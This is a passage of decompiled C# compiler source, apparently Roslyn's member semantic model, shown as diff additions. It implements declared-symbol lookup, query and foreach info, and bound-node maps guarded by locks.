= default(CancellationToken)) + { + return null; + } + + public override ISymbol GetDeclaredSymbol(LocalFunctionStatementSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declarationSyntax); + return (ISymbol)(object)GetDeclaredLocalFunction(declarationSyntax).GetPublicSymbol(); + } + + public override ISymbol GetDeclaredSymbol(MemberDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + public override IMethodSymbol GetDeclaredSymbol(CompilationUnitSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + public override IMethodSymbol GetDeclaredSymbol(BaseMethodDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + public override ISymbol GetDeclaredSymbol(BasePropertyDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + public override IPropertySymbol GetDeclaredSymbol(PropertyDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + public override IPropertySymbol GetDeclaredSymbol(IndexerDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + public override IEventSymbol GetDeclaredSymbol(EventDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + public override IMethodSymbol GetDeclaredSymbol(AccessorDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + public override IMethodSymbol GetDeclaredSymbol(ArrowExpressionClauseSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + public override ISymbol GetDeclaredSymbol(VariableDeclaratorSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(declarationSyntax); + return (ISymbol)(object)GetDeclaredLocal(declarationSyntax, declarationSyntax.Identifier).GetPublicSymbol(); + } + + public override ISymbol GetDeclaredSymbol(SingleVariableDesignationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(declarationSyntax); + return (ISymbol)(object)GetDeclaredLocal(declarationSyntax, declarationSyntax.Identifier).GetPublicSymbol(); + } + + private LocalSymbol GetDeclaredLocal(CSharpSyntaxNode declarationSyntax, SyntaxToken declaredIdentifier) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + for (Binder binder = GetEnclosingBinder(GetAdjustedNodePosition((SyntaxNode)(object)declarationSyntax)); binder != null; binder = binder.Next) + { + ImmutableArray.Enumerator enumerator = binder.Locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + if (current.IdentifierToken == declaredIdentifier) + { + return GetAdjustedLocalSymbol((SourceLocalSymbol)current); + } + } + } + return null; + } + + internal override LocalSymbol GetAdjustedLocalSymbol(SourceLocalSymbol local) + { + return GetRemappedSymbol((LocalSymbol)local); + } + + internal LocalFunctionSymbol GetDeclaredLocalFunction(LocalFunctionStatementSyntax declarationSyntax) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + LocalFunctionSymbol declaredLocalFunction = GetDeclaredLocalFunction(GetEnclosingBinder(GetAdjustedNodePosition((SyntaxNode)(object)declarationSyntax)), declarationSyntax.Identifier); + return GetRemappedSymbol(declaredLocalFunction); + } + + private T GetRemappedSymbol(T originalSymbol) where T : Symbol + { + EnsureNullabilityAnalysisPerformedIfNecessary(); + if (_lazyRemappedSymbols == null) + { + return originalSymbol; + } + if (_lazyRemappedSymbols.TryGetValue(originalSymbol, out var value)) + { + return (T)value; + } + return originalSymbol; + } + + private static LocalFunctionSymbol GetDeclaredLocalFunction(Binder enclosingBinder, SyntaxToken declaredIdentifier) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + for (Binder binder = enclosingBinder; binder != null; binder = binder.Next) + { + ImmutableArray.Enumerator enumerator = binder.LocalFunctions.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalFunctionSymbol current = enumerator.Current; + if (current.NameToken == declaredIdentifier) + { + return current; + } + } + } + return null; + } + + public override ILabelSymbol GetDeclaredSymbol(LabeledStatementSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(declarationSyntax); + Binder binder = GetEnclosingBinder(GetAdjustedNodePosition((SyntaxNode)(object)declarationSyntax)); + while (binder != null && !binder.IsLabelsScopeBinder) + { + binder = binder.Next; + } + if (binder != null) + { + ImmutableArray.Enumerator enumerator = binder.Labels.GetEnumerator(); + while (enumerator.MoveNext()) + { + LabelSymbol current = enumerator.Current; + SyntaxNodeOrToken identifierNodeOrToken = current.IdentifierNodeOrToken; + if (((SyntaxNodeOrToken)(ref identifierNodeOrToken)).IsToken) + { + identifierNodeOrToken = current.IdentifierNodeOrToken; + if (((SyntaxNodeOrToken)(ref identifierNodeOrToken)).AsToken() == declarationSyntax.Identifier) + { + return current.GetPublicSymbol(); + } + } + } + } + return null; + } + + public override ILabelSymbol GetDeclaredSymbol(SwitchLabelSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(declarationSyntax); + Binder binder = GetEnclosingBinder(GetAdjustedNodePosition((SyntaxNode)(object)declarationSyntax)); + while (binder != null && !(binder is SwitchBinder)) + { + binder = binder.Next; + } + if (binder != null) + { + ImmutableArray.Enumerator enumerator = binder.Labels.GetEnumerator(); + while (enumerator.MoveNext()) + { + LabelSymbol current = enumerator.Current; + SyntaxNodeOrToken identifierNodeOrToken = current.IdentifierNodeOrToken; + if (((SyntaxNodeOrToken)(ref identifierNodeOrToken)).IsNode) + { + identifierNodeOrToken = current.IdentifierNodeOrToken; + if ((object)((SyntaxNodeOrToken)(ref identifierNodeOrToken)).AsNode() == declarationSyntax) + { + return current.GetPublicSymbol(); + } + } + } + } + return null; + } + + public override IAliasSymbol GetDeclaredSymbol(UsingDirectiveSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + public override IAliasSymbol GetDeclaredSymbol(ExternAliasDirectiveSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + public override IParameterSymbol GetDeclaredSymbol(ParameterSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declarationSyntax); + return GetLambdaOrLocalFunctionParameterSymbol(declarationSyntax, cancellationToken).GetPublicSymbol(); + } + + internal override ImmutableArray GetDeclaredSymbols(BaseFieldDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return ImmutableArray.Create(); + } + + private ParameterSymbol GetLambdaOrLocalFunctionParameterSymbol(ParameterSyntax parameter, CancellationToken cancellationToken) + { + if (parameter.Parent is SimpleLambdaExpressionSyntax lambda) + { + return GetLambdaParameterSymbol(parameter, lambda, cancellationToken); + } + if (!(parameter.Parent is ParameterListSyntax { Parent: not null } parameterListSyntax)) + { + return null; + } + if (((SyntaxNode)(object)parameterListSyntax.Parent).IsAnonymousFunction()) + { + return GetLambdaParameterSymbol(parameter, (ExpressionSyntax)parameterListSyntax.Parent, cancellationToken); + } + if (parameterListSyntax.Parent.Kind() == SyntaxKind.LocalFunctionStatement) + { + MethodSymbol symbol = GetDeclaredSymbol((LocalFunctionStatementSyntax)parameterListSyntax.Parent, cancellationToken).GetSymbol(); + if ((object)symbol != null) + { + return GetParameterSymbol(symbol.Parameters, parameter, cancellationToken); + } + } + return null; + } + + private ParameterSymbol GetLambdaParameterSymbol(ParameterSyntax parameter, ExpressionSyntax lambda, CancellationToken cancellationToken) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + SymbolInfo symbolInfo = GetSymbolInfo(lambda, cancellationToken); + LambdaSymbol symbol; + if (((SymbolInfo)(ref symbolInfo)).Symbol != null) + { + symbol = ((SymbolInfo)(ref symbolInfo)).Symbol.GetSymbol(); + } + else + { + if (((SymbolInfo)(ref symbolInfo)).CandidateSymbols.Length != 1) + { + return null; + } + symbol = ((SymbolInfo)(ref symbolInfo)).CandidateSymbols.Single().GetSymbol(); + } + return GetParameterSymbol(symbol.Parameters, parameter, cancellationToken); + } + + public override ITypeParameterSymbol GetDeclaredSymbol(TypeParameterSyntax typeParameter, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + public override IRangeVariableSymbol GetDeclaredSymbol(JoinIntoClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetBoundQueryClause(node)?.DefinedSymbol.GetPublicSymbol(); + } + + public override IRangeVariableSymbol GetDeclaredSymbol(QueryClauseSyntax queryClause, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetBoundQueryClause(queryClause)?.DefinedSymbol.GetPublicSymbol(); + } + + public override IRangeVariableSymbol GetDeclaredSymbol(QueryContinuationSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetBoundQueryClause(node)?.DefinedSymbol.GetPublicSymbol(); + } + + public override AwaitExpressionInfo GetAwaitExpressionInfo(AwaitExpressionSyntax node) + { + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Expected O, but got Unknown + if (node.Kind() != SyntaxKind.AwaitExpression) + { + throw new ArgumentException("node.Kind==" + node.Kind()); + } + BoundNode lowerBoundNode = GetLowerBoundNode((CSharpSyntaxNode)node); + BoundAwaitableInfo boundAwaitableInfo = (((lowerBoundNode as BoundExpressionStatement)?.Expression ?? lowerBoundNode) as BoundAwaitExpression)?.AwaitableInfo; + if (boundAwaitableInfo == null) + { + return default(AwaitExpressionInfo); + } + return new AwaitExpressionInfo((IMethodSymbol)(boundAwaitableInfo.GetAwaiter?.ExpressionSymbol.GetPublicSymbol()), boundAwaitableInfo.IsCompleted.GetPublicSymbol(), boundAwaitableInfo.GetResult.GetPublicSymbol(), boundAwaitableInfo.IsDynamic); + } + + public override ForEachStatementInfo GetForEachStatementInfo(ForEachStatementSyntax node) + { + return GetForEachStatementInfo((CommonForEachStatementSyntax)node); + } + + public override ForEachStatementInfo GetForEachStatementInfo(CommonForEachStatementSyntax node) + { + BoundForEachStatement boundForEachStatement = (BoundForEachStatement)GetUpperBoundNode(node); + if (boundForEachStatement == null) + { + return default(ForEachStatementInfo); + } + ForEachEnumeratorInfo enumeratorInfoOpt = boundForEachStatement.EnumeratorInfoOpt; + if (enumeratorInfoOpt == null) + { + return default(ForEachStatementInfo); + } + if (enumeratorInfoOpt.ElementType.IsPointerType()) + { + return default(ForEachStatementInfo); + } + MethodSymbol symbol = null; + if (enumeratorInfoOpt.NeedsDisposal) + { + MethodArgumentInfo patternDisposeInfo = enumeratorInfoOpt.PatternDisposeInfo; + if ((object)patternDisposeInfo != null) + { + MethodSymbol method = patternDisposeInfo.Method; + symbol = method; + } + else + { + symbol = (enumeratorInfoOpt.IsAsync ? ((MethodSymbol)Compilation.GetWellKnownTypeMember((WellKnownMember)426)) : ((MethodSymbol)Compilation.GetSpecialTypeMember((SpecialMember)92))); + } + } + return new ForEachStatementInfo(enumeratorInfoOpt.IsAsync, enumeratorInfoOpt.GetEnumeratorInfo.Method.GetPublicSymbol(), enumeratorInfoOpt.MoveNextInfo.Method.GetPublicSymbol(), ((PropertySymbol)(enumeratorInfoOpt.CurrentPropertyGetter?.AssociatedSymbol)).GetPublicSymbol(), symbol.GetPublicSymbol(), enumeratorInfoOpt.ElementTypeWithAnnotations.GetPublicSymbol(), BoundNode.GetConversion(boundForEachStatement.ElementConversion, boundForEachStatement.ElementPlaceholder), BoundNode.GetConversion(enumeratorInfoOpt.CurrentConversion, enumeratorInfoOpt.CurrentPlaceholder)); + } + + public override DeconstructionInfo GetDeconstructionInfo(AssignmentExpressionSyntax node) + { + if (!(GetUpperBoundNode(node) is BoundDeconstructionAssignmentOperator boundDeconstructionAssignmentOperator)) + { + return default(DeconstructionInfo); + } + BoundConversion right = boundDeconstructionAssignmentOperator.Right; + if (right == null) + { + return default(DeconstructionInfo); + } + return new DeconstructionInfo(right.Conversion); + } + + public override DeconstructionInfo GetDeconstructionInfo(ForEachVariableStatementSyntax node) + { + BoundForEachStatement boundForEachStatement = (BoundForEachStatement)GetUpperBoundNode(node); + if (boundForEachStatement == null) + { + return default(DeconstructionInfo); + } + BoundForEachDeconstructStep deconstructionOpt = boundForEachStatement.DeconstructionOpt; + if (deconstructionOpt == null) + { + return default(DeconstructionInfo); + } + return new DeconstructionInfo(deconstructionOpt.DeconstructionAssignment.Right.Conversion); + } + + private BoundQueryClause GetBoundQueryClause(CSharpSyntaxNode node) + { + CheckSyntaxNode(node); + return GetLowerBoundNode(node) as BoundQueryClause; + } + + private QueryClauseInfo GetQueryClauseInfo(BoundQueryClause bound) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + if (bound == null) + { + return default(QueryClauseInfo); + } + SymbolInfo castInfo = ((bound.Cast == null) ? SymbolInfo.None : GetSymbolInfoForNode(SymbolInfoOptions.DefaultOptions, bound.Cast, bound.Cast, null, null)); + SymbolInfo symbolInfoForQuery = GetSymbolInfoForQuery(bound); + return new QueryClauseInfo(castInfo, symbolInfoForQuery); + } + + private SymbolInfo GetSymbolInfoForQuery(BoundQueryClause bound) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + if (!(bound?.Operation is BoundCall boundCall)) + { + return SymbolInfo.None; + } + BoundExpression boundExpression = (boundCall.IsDelegateCall ? boundCall.ReceiverOpt : boundCall); + return GetSymbolInfoForNode(SymbolInfoOptions.DefaultOptions, boundExpression, boundExpression, null, null); + } + + private CSharpTypeInfo GetTypeInfoForQuery(BoundQueryClause bound) + { + if (bound != null) + { + return GetTypeInfoForNode(bound, bound, bound); + } + return CSharpTypeInfo.None; + } + + public override QueryClauseInfo GetQueryClauseInfo(QueryClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + BoundQueryClause boundQueryClause = GetBoundQueryClause(node); + return GetQueryClauseInfo(boundQueryClause); + } + + public override IPropertySymbol GetDeclaredSymbol(AnonymousObjectMemberDeclaratorSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(declaratorSyntax); + AnonymousObjectCreationExpressionSyntax anonymousObjectCreationExpressionSyntax = (AnonymousObjectCreationExpressionSyntax)declaratorSyntax.Parent; + if (anonymousObjectCreationExpressionSyntax == null) + { + return null; + } + if (!(GetLowerBoundNode((CSharpSyntaxNode)anonymousObjectCreationExpressionSyntax) is BoundAnonymousObjectCreationExpression boundAnonymousObjectCreationExpression)) + { + return null; + } + if (!(boundAnonymousObjectCreationExpression.Type is NamedTypeSymbol type)) + { + return null; + } + int index = anonymousObjectCreationExpressionSyntax.Initializers.IndexOf(declaratorSyntax); + return AnonymousTypeManager.GetAnonymousTypeProperty(type, index).GetPublicSymbol(); + } + + public override INamedTypeSymbol GetDeclaredSymbol(AnonymousObjectCreationExpressionSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declaratorSyntax); + if (GetLowerBoundNode((CSharpSyntaxNode)declaratorSyntax) is BoundAnonymousObjectCreationExpression boundAnonymousObjectCreationExpression) + { + return (boundAnonymousObjectCreationExpression.Type as NamedTypeSymbol).GetPublicSymbol(); + } + return null; + } + + public override INamedTypeSymbol GetDeclaredSymbol(TupleExpressionSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declaratorSyntax); + return GetTypeOfTupleLiteral(declaratorSyntax).GetPublicSymbol(); + } + + public override ISymbol GetDeclaredSymbol(ArgumentSyntax declaratorSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(declaratorSyntax); + if (!(declaratorSyntax?.Parent is TupleExpressionSyntax tupleExpressionSyntax)) + { + return null; + } + NamedTypeSymbol typeOfTupleLiteral = GetTypeOfTupleLiteral(tupleExpressionSyntax); + if ((object)typeOfTupleLiteral != null) + { + ImmutableArray tupleElements = typeOfTupleLiteral.TupleElements; + if (!tupleElements.IsDefault) + { + int index = tupleExpressionSyntax.Arguments.IndexOf(declaratorSyntax); + return (ISymbol)(object)tupleElements[index].GetPublicSymbol(); + } + } + return null; + } + + private NamedTypeSymbol GetTypeOfTupleLiteral(TupleExpressionSyntax declaratorSyntax) + { + return (GetLowerBoundNode((CSharpSyntaxNode)declaratorSyntax) as BoundTupleExpression)?.Type as NamedTypeSymbol; + } + + internal unsafe override IOperation? GetOperationWorker(CSharpSyntaxNode node, CancellationToken cancellationToken) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + ReadLockExiter val = ReaderWriterLockSlimExtensions.DisposableRead(_nodeMapLock); + try + { + if (_guardedIOperationNodeMap.Count != 0) + { + return guardedGetIOperation(); + } + } + finally + { + ((IDisposable)(*(ReadLockExiter*)(&val))/*cast due to constrained. prefix*/).Dispose(); + } + IOperation rootOperation = GetRootOperation(); + WriteLockExiter val2 = ReaderWriterLockSlimExtensions.DisposableWrite(_nodeMapLock); + try + { + if (_guardedIOperationNodeMap.Count != 0) + { + return guardedGetIOperation(); + } + OperationMapBuilder.AddToMap(rootOperation, _guardedIOperationNodeMap); + return guardedGetIOperation(); + } + finally + { + ((IDisposable)(*(WriteLockExiter*)(&val2))/*cast due to constrained. prefix*/).Dispose(); + } + IOperation? guardedGetIOperation() + { + ReaderWriterLockSlimExtensions.AssertCanRead(_nodeMapLock); + if (!_guardedIOperationNodeMap.TryGetValue((SyntaxNode)(object)node, out var value)) + { + return null; + } + return value; + } + } + + private IOperation GetRootOperation() + { + BoundNode boundNode = GetBoundRoot(); + if (boundNode is BoundGlobalStatementInitializer boundGlobalStatementInitializer) + { + BoundStatement statement = boundGlobalStatementInitializer.Statement; + boundNode = statement; + } + IOperation? obj = _operationFactory.Value.Create(boundNode); + Operation.SetParentOperation(obj, (IOperation)null); + return obj; + } + + internal override SymbolInfo GetSymbolInfoWorker(CSharpSyntaxNode node, SymbolInfoOptions options, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + CSharpSemanticModel.ValidateSymbolInfoOptions(options); + GetBoundNodes(node, out var _, out var lowestBoundNode, out var highestBoundNode, out var boundParent); + return GetSymbolInfoForNode(options, lowestBoundNode, highestBoundNode, boundParent, null); + } + + internal override CSharpTypeInfo GetTypeInfoWorker(CSharpSyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)) + { + GetBoundNodes(node, out var _, out var lowestBoundNode, out var highestBoundNode, out var boundParent); + return GetTypeInfoForNode(lowestBoundNode, highestBoundNode, boundParent); + } + + internal override ImmutableArray GetMemberGroupWorker(CSharpSyntaxNode node, SymbolInfoOptions options, CancellationToken cancellationToken = default(CancellationToken)) + { + GetBoundNodes(node, out var _, out var lowestBoundNode, out var _, out var boundParent); + return GetMemberGroupForNode(options, lowestBoundNode, boundParent, null); + } + + internal override ImmutableArray GetIndexerGroupWorker(CSharpSyntaxNode node, SymbolInfoOptions options, CancellationToken cancellationToken = default(CancellationToken)) + { + GetBoundNodes(node, out var _, out var lowestBoundNode, out var _, out var _); + return GetIndexerGroupForNode(lowestBoundNode, null); + } + + internal override Optional GetConstantValueWorker(CSharpSyntaxNode node, CancellationToken cancellationToken) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode bindableSyntaxNode = GetBindableSyntaxNode(node); + if (!(GetLowerBoundNode(bindableSyntaxNode) is BoundExpression boundExpression)) + { + return default(Optional); + } + ConstantValue constantValueOpt = boundExpression.ConstantValueOpt; + if (!(constantValueOpt == (ConstantValue)null) && !constantValueOpt.IsBad) + { + return new Optional(constantValueOpt.Value); + } + return default(Optional); + } + + internal override SymbolInfo GetCollectionInitializerSymbolInfoWorker(InitializerExpressionSyntax collectionInitializer, ExpressionSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + if (GetLowerBoundNode((CSharpSyntaxNode)collectionInitializer) is BoundCollectionInitializerExpression boundCollectionInitializerExpression) + { + BoundExpression boundExpression = boundCollectionInitializerExpression.Initializers[collectionInitializer.Expressions.IndexOf(node)]; + return GetSymbolInfoForNode(SymbolInfoOptions.DefaultOptions, boundExpression, boundExpression, null, null); + } + return SymbolInfo.None; + } + + public override SymbolInfo GetSymbolInfo(OrderingSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + BoundQueryClause boundQueryClause = GetBoundQueryClause(node); + return GetSymbolInfoForQuery(boundQueryClause); + } + + public override SymbolInfo GetSymbolInfo(SelectOrGroupClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + BoundQueryClause boundQueryClause = GetBoundQueryClause(node); + return GetSymbolInfoForQuery(boundQueryClause); + } + + public override TypeInfo GetTypeInfo(SelectOrGroupClauseSyntax node, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + BoundQueryClause boundQueryClause = GetBoundQueryClause(node); + return GetTypeInfoForQuery(boundQueryClause); + } + + private void GetBoundNodes(CSharpSyntaxNode node, out CSharpSyntaxNode bindableNode, out BoundNode lowestBoundNode, out BoundNode highestBoundNode, out BoundNode boundParent) + { + bindableNode = GetBindableSyntaxNode(node); + CSharpSyntaxNode bindableParentNode = GetBindableParentNode(bindableNode); + if (bindableParentNode != null && bindableParentNode.Kind() == SyntaxKind.SimpleMemberAccessExpression && ((MemberAccessExpressionSyntax)bindableParentNode).Expression == bindableNode) + { + bindableParentNode = GetBindableParentNode(bindableParentNode); + } + boundParent = ((bindableParentNode == null) ? null : GetLowerBoundNode(bindableParentNode)); + lowestBoundNode = GetLowerBoundNode(bindableNode); + highestBoundNode = GetUpperBoundNode(bindableNode); + } + + private CSharpSyntaxNode GetInnermostLambdaOrQuery(CSharpSyntaxNode node, int position, bool allowStarting = false) + { + for (CSharpSyntaxNode cSharpSyntaxNode = node; cSharpSyntaxNode != Root; cSharpSyntaxNode = cSharpSyntaxNode.ParentOrStructuredTriviaParent) + { + if ((((SyntaxNode)(object)cSharpSyntaxNode).IsAnonymousFunction() || ((SyntaxNode)(object)cSharpSyntaxNode).IsQuery()) && LookupPosition.IsInAnonymousFunctionOrQuery(position, (SyntaxNode)(object)cSharpSyntaxNode) && (allowStarting || cSharpSyntaxNode != node)) + { + return cSharpSyntaxNode; + } + } + return null; + } + + private void GuardedAddSynthesizedStatementToMap(StatementSyntax node, BoundStatement statement) + { + if (_lazyGuardedSynthesizedStatementsMap == null) + { + _lazyGuardedSynthesizedStatementsMap = new Dictionary(); + } + _lazyGuardedSynthesizedStatementsMap.Add((SyntaxNode)(object)node, statement); + } + + private BoundStatement GuardedGetSynthesizedStatementFromMap(StatementSyntax node) + { + if (_lazyGuardedSynthesizedStatementsMap != null && _lazyGuardedSynthesizedStatementsMap.TryGetValue((SyntaxNode)(object)node, out var value)) + { + return value; + } + return null; + } + + private OneOrMany GuardedGetBoundNodesFromMap(CSharpSyntaxNode node) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (!_guardedBoundNodeMap.TryGetValue((SyntaxNode)(object)node, out var value)) + { + return OneOrMany.Empty; + } + return value; + } + + internal OneOrMany TestOnlyTryGetBoundNodesFromMap(CSharpSyntaxNode node) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (!_guardedBoundNodeMap.TryGetValue((SyntaxNode)(object)node, out var value)) + { + return OneOrMany.Empty; + } + return value; + } + + private OneOrMany GuardedAddBoundTreeAndGetBoundNodeFromMap(CSharpSyntaxNode syntax, BoundNode bound) + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + if (bound != null) + { + flag = _guardedBoundNodeMap.ContainsKey(bound.Syntax); + } + if (!flag) + { + NodeMapBuilder.AddToMap(bound, _guardedBoundNodeMap, SyntaxTree); + } + if (!_guardedBoundNodeMap.TryGetValue((SyntaxNode)(object)syntax, out var value)) + { + return OneOrMany.Empty; + } + return value; + } + + protected unsafe void UnguardedAddBoundTreeForStandaloneSyntax(SyntaxNode syntax, BoundNode bound, NullableWalker.SnapshotManager manager = null, ImmutableDictionary remappedSymbols = null) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + WriteLockExiter val = ReaderWriterLockSlimExtensions.DisposableWrite(_nodeMapLock); + try + { + GuardedAddBoundTreeForStandaloneSyntax(syntax, bound, manager, remappedSymbols); + } + finally + { + ((IDisposable)(*(WriteLockExiter*)(&val))/*cast due to constrained. prefix*/).Dispose(); + } + } + + protected void GuardedAddBoundTreeForStandaloneSyntax(SyntaxNode syntax, BoundNode bound, NullableWalker.SnapshotManager manager = null, ImmutableDictionary remappedSymbols = null) + { + bool flag = false; + if (bound != null) + { + flag = _guardedBoundNodeMap.ContainsKey(bound.Syntax); + } + if (!flag) + { + if ((object)syntax == _root || syntax is StatementSyntax) + { + NodeMapBuilder.AddToMap(bound, _guardedBoundNodeMap, SyntaxTree); + } + else + { + NodeMapBuilder.AddToMap(bound, _guardedBoundNodeMap, SyntaxTree, syntax); + } + if (manager != null) + { + _lazySnapshotManager = manager; + _lazyRemappedSymbols = remappedSymbols; + } + } + } + + private CSharpSyntaxNode GetBindingRoot(CSharpSyntaxNode node) + { + for (CSharpSyntaxNode cSharpSyntaxNode = node; cSharpSyntaxNode != Root; cSharpSyntaxNode = cSharpSyntaxNode.ParentOrStructuredTriviaParent) + { + if (cSharpSyntaxNode is StatementSyntax) + { + return cSharpSyntaxNode; + } + switch (cSharpSyntaxNode.Kind()) + { + case SyntaxKind.BaseConstructorInitializer: + case SyntaxKind.ThisConstructorInitializer: + case SyntaxKind.PrimaryConstructorBaseType: + return cSharpSyntaxNode; + case SyntaxKind.ArrowExpressionClause: + if (cSharpSyntaxNode.Parent == null || cSharpSyntaxNode.Parent.Kind() != SyntaxKind.LocalFunctionStatement) + { + return cSharpSyntaxNode; + } + break; + } + } + return Root; + } + + internal override Binder GetEnclosingBinderInternal(int position) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + TextSpan fullSpan = ((SyntaxNode)Root).FullSpan; + if (!((TextSpan)(ref fullSpan)).Contains(position)) + { + return RootBinder; + } + SyntaxToken val = Root.FindToken(position); + CSharpSyntaxNode node = (CSharpSyntaxNode)(object)((SyntaxToken)(ref val)).Parent; + return GetEnclosingBinderInternal(node, position); + } + + private Binder GetEnclosingBinderInternal(CSharpSyntaxNode node, int position) + { + CSharpSyntaxNode innermostLambdaOrQuery = GetInnermostLambdaOrQuery(node, position, allowStarting: true); + if (innermostLambdaOrQuery == null) + { + return GetEnclosingBinderInternalWithinRoot((SyntaxNode)(object)node, position); + } + BoundNode boundInnerLambdaOrQuery = GetBoundLambdaOrQuery(innermostLambdaOrQuery); + return GetEnclosingBinderInLambdaOrQuery(position, node, innermostLambdaOrQuery, ref boundInnerLambdaOrQuery); + } + + private unsafe BoundNode GetBoundLambdaOrQuery(CSharpSyntaxNode lambdaOrQuery) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_00e4: Unknown result type (might be due to invalid IL or missing references) + //IL_00e9: Unknown result type (might be due to invalid IL or missing 